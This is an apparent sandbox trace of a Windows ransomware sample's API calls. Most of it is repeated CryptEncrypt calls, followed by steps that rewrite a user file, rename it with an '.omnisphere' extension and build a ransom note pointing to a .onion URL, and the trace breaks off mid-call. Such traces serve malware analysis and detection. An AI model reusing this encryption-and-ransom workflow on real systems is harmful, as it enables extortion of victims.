[0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.169] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.170] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.171] CryptDestroyKey (hKey=0x16397e8) returned 1 [0063.171] CryptReleaseContext (hProv=0x163bdb0, dwFlags=0x0) returned 1 [0063.171] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x8f6, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.171] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.171] GetProcessHeap () returned 0x1600000 [0063.171] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x282) returned 0x1652f68 [0063.171] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fXjbV28LC0IFk.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fxjbv28lc0ifk.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fXjbV28LC0IFk.png.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fxjbv28lc0ifk.png.omnisphere")) returned 1 [0063.172] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\fXjbV28LC0IFk.png.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\fXjbV28LC0IFk.png.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\fXjbV28LC0IFk.png.omnisphere.id" [0063.172] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fXjbV28LC0IFk.png.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fxjbv28lc0ifk.png.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.173] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.174] CloseHandle (hObject=0x3a8) returned 1 [0063.175] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0063.175] CloseHandle (hObject=0x3a4) returned 1 [0063.175] SetEndOfFile (hFile=0x3a0) returned 1 [0063.175] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.178] CloseHandle (hObject=0x3a0) returned 1 [0063.178] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\fXjbV28LC0IFk.png" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.178] GetProcessHeap () returned 0x1600000 [0063.178] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164d4c0 [0063.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.178] GetProcessHeap () returned 0x1600000 [0063.178] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641bb0 [0063.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641bb0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.178] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.178] GetProcessHeap () returned 0x1600000 [0063.179] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fa70 [0063.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fa70, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.179] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.179] GetProcessHeap () returned 0x1600000 [0063.179] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c1f0 [0063.179] PathCombineW (in: pszDest=0x163c1f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.179] GetProcessHeap () returned 0x1600000 [0063.179] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x164d9e0 [0063.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.179] WriteFile (in: hFile=0x3a0, lpBuffer=0x164d9e0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x164d9e0*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, 